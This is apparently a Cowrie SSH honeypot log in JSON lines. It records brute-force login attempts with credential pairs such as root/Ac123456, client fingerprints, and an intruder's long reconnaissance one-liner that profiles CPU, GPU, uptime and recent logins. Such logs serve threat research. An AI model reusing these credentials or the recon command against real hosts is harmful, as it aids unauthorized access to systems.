{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":54044,"dst_ip":"159.203.135.109","dst_port":22,"session":"05419d18d516","protocol":"ssh","message":"New connection: 195.178.110.218:54044 (159.203.135.109:22) [session: 05419d18d516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:16.225116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:16.230588Z","src_ip":"195.178.110.218","session":"05419d18d516","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:16.244596Z","src_ip":"81.170.248.221","session":"159f68c9706b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:16.310652Z","src_ip":"195.178.110.218","session":"05419d18d516","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.170.248.221","src_port":45438,"dst_ip":"159.203.135.109","dst_port":22,"session":"98ed7140b246","protocol":"ssh","message":"New connection: 81.170.248.221:45438 (159.203.135.109:22) [session: 98ed7140b246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:16.342324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:16.346737Z","src_ip":"81.170.248.221","session":"98ed7140b246","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:16.448640Z","src_ip":"101.44.96.62","session":"4f622b1b628e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:16.452898Z","src_ip":"81.170.248.221","session":"98ed7140b246","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:16.549855Z","src_ip":"195.178.110.218","session":"05419d18d516","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:16.904413Z","src_ip":"81.170.248.221","session":"98ed7140b246","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:17.012431Z","src_ip":"81.170.248.221","session":"98ed7140b246","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:17.016279Z","src_ip":"81.170.248.221","session":"63a993e7d586","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:17.631685Z","src_ip":"195.178.110.218","session":"05419d18d516","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.204.71.189","src_port":62321,"dst_ip":"159.203.135.109","dst_port":22,"session":"b47fdbcdbd80","protocol":"ssh","message":"New connection: 196.204.71.189:62321 (159.203.135.109:22) [session: b47fdbcdbd80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:23.378044Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:23.382785Z","src_ip":"196.204.71.189","session":"b47fdbcdbd80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":50900,"dst_ip":"159.203.135.109","dst_port":22,"session":"86cad6ffca79","protocol":"ssh","message":"New connection: 101.44.96.62:50900 (159.203.135.109:22) [session: 86cad6ffca79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:27.926546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:27.931418Z","src_ip":"101.44.96.62","session":"86cad6ffca79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:28.174560Z","src_ip":"101.44.96.62","session":"86cad6ffca79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www123","message":"login attempt [www/www123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:28.818505Z","src_ip":"101.44.96.62","session":"86cad6ffca79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:30.037543Z","src_ip":"101.44.96.62","session":"86cad6ffca79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":46086,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e268216b236","protocol":"ssh","message":"New connection: 101.44.96.62:46086 (159.203.135.109:22) [session: 8e268216b236]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:41.546608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:41.551034Z","src_ip":"101.44.96.62","session":"8e268216b236","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:41.767384Z","src_ip":"101.44.96.62","session":"8e268216b236","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Ac123456","message":"login attempt [root/Ac123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:42.415653Z","src_ip":"101.44.96.62","session":"8e268216b236","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:42.885281Z","src_ip":"101.44.96.62","session":"8e268216b236","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:42.888858Z","src_ip":"101.44.96.62","session":"8e268216b236","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:43.108900Z","src_ip":"101.44.96.62","session":"8e268216b236","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:43.113718Z","src_ip":"101.44.96.62","session":"8e268216b236","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.240.199","src_port":41522,"dst_ip":"159.203.135.109","dst_port":22,"session":"de41370d9e36","protocol":"ssh","message":"New connection: 91.92.240.199:41522 (159.203.135.109:22) [session: de41370d9e36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:45.659032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:46.392398Z","src_ip":"91.92.240.199","session":"de41370d9e36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:46.395617Z","src_ip":"91.92.240.199","session":"de41370d9e36","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"root1","message":"login attempt [root/root1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:49.677606Z","src_ip":"91.92.240.199","session":"de41370d9e36","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:51.369109Z","src_ip":"91.92.240.199","session":"de41370d9e36","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:51.372337Z","src_ip":"91.92.240.199","session":"de41370d9e36","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:51.375645Z","src_ip":"91.92.240.199","session":"de41370d9e36","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m 2 > /dev/null","message":"CMD: uname -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:51.379079Z","src_ip":"91.92.240.199","session":"de41370d9e36","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/uptime 2 > /dev/null | cut -d. -f1","message":"CMD: cat /proc/uptime 2 > /dev/null | cut -d. -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:51.382821Z","src_ip":"91.92.240.199","session":"de41370d9e36","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -d. -f1","message":"Command not found: cut -d. -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:51.386578Z","src_ip":"91.92.240.199","session":"de41370d9e36","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","size":74,"shasum":"a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","duplicate":true,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853 after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:52.032765Z","src_ip":"91.92.240.199","session":"de41370d9e36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:52.037691Z","src_ip":"91.92.240.199","session":"de41370d9e36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":48820,"dst_ip":"159.203.135.109","dst_port":22,"session":"faf902996643","protocol":"ssh","message":"New connection: 101.44.96.62:48820 (159.203.135.109:22) [session: faf902996643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:55.089300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:55.094129Z","src_ip":"101.44.96.62","session":"faf902996643","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:55.314067Z","src_ip":"101.44.96.62","session":"faf902996643","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:55.963914Z","src_ip":"101.44.96.62","session":"faf902996643","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:13:57.183384Z","src_ip":"101.44.96.62","session":"faf902996643","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":36826,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf93b6298421","protocol":"ssh","message":"New connection: 101.44.96.62:36826 (159.203.135.109:22) [session: cf93b6298421]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:14:08.616271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:14:08.621104Z","src_ip":"101.44.96.62","session":"cf93b6298421","protocol":"ssh"}
